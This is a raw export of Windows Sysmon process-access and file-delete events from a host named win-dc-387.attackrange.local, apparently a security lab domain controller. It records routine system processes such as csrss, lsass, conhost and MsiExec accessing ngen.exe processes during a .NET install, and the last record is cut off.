10341000x800000000000000039086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.241{7BD73061-6F21-613B-B807-00000000F001}53002768C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-B707-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.225{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-B807-00000000F001}5300C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039084Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.225{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-B707-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039083Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.225{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-B707-00000000F001}4960c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.210{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-B507-00000000F001}5396c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.210{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-B507-00000000F001}5396c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000039080Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.210{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BE069FF4B5FC5A8817AE7FAC8D26B8A3,SHA256=1C1CB8AB5DA6FD50AC3EDD40F90F1BEDA9CD210B6C7432710C44A48BB53BCE7F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000039079Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.194{7BD73061-6F21-613B-B607-00000000F001}6608476C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-B507-00000000F001}5396c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039078Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.178{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-B607-00000000F001}6608C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039077Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.178{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-B507-00000000F001}5396c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039076Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.178{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-B507-00000000F001}5396c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039075Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.163{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-B307-00000000F001}4512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039074Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.163{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-B307-00000000F001}4512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039073Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.147{7BD73061-6F21-613B-B407-00000000F001}66564676C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-B307-00000000F001}4512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039072Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.147{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-B407-00000000F001}6656C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039071Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.131{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-B307-00000000F001}4512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039070Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.131{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-B307-00000000F001}4512c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039069Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.131{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-B107-00000000F001}1172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.131{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-B107-00000000F001}1172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.100{7BD73061-6F21-613B-B207-00000000F001}69685488C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-B107-00000000F001}1172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.100{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-B207-00000000F001}6968C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.100{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-B107-00000000F001}1172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.085{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-B107-00000000F001}1172c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.085{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-AF07-00000000F001}6616c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.085{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-AF07-00000000F001}6616c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.069{7BD73061-6F21-613B-B007-00000000F001}46564028C:\Windows\system32\conhost.exe{7BD73061-6F21-613B-AF07-00000000F001}6616c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.053{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-B007-00000000F001}4656C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.053{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F21-613B-AF07-00000000F001}6616c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000039058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.053{7BD73061-6E8E-613B-1307-00000000F001}38364724c:\Windows\syswow64\MsiExec.exe{7BD73061-6F21-613B-AF07-00000000F001}6616c:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSIE238.tmp+4f2c(wow64)|C:\Windows\Installer\MSIE238.tmp+122f(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000039057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.053{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-AD07-00000000F001}5436c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:45.038{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-6F21-613B-AD07-00000000F001}5436c:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000039055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 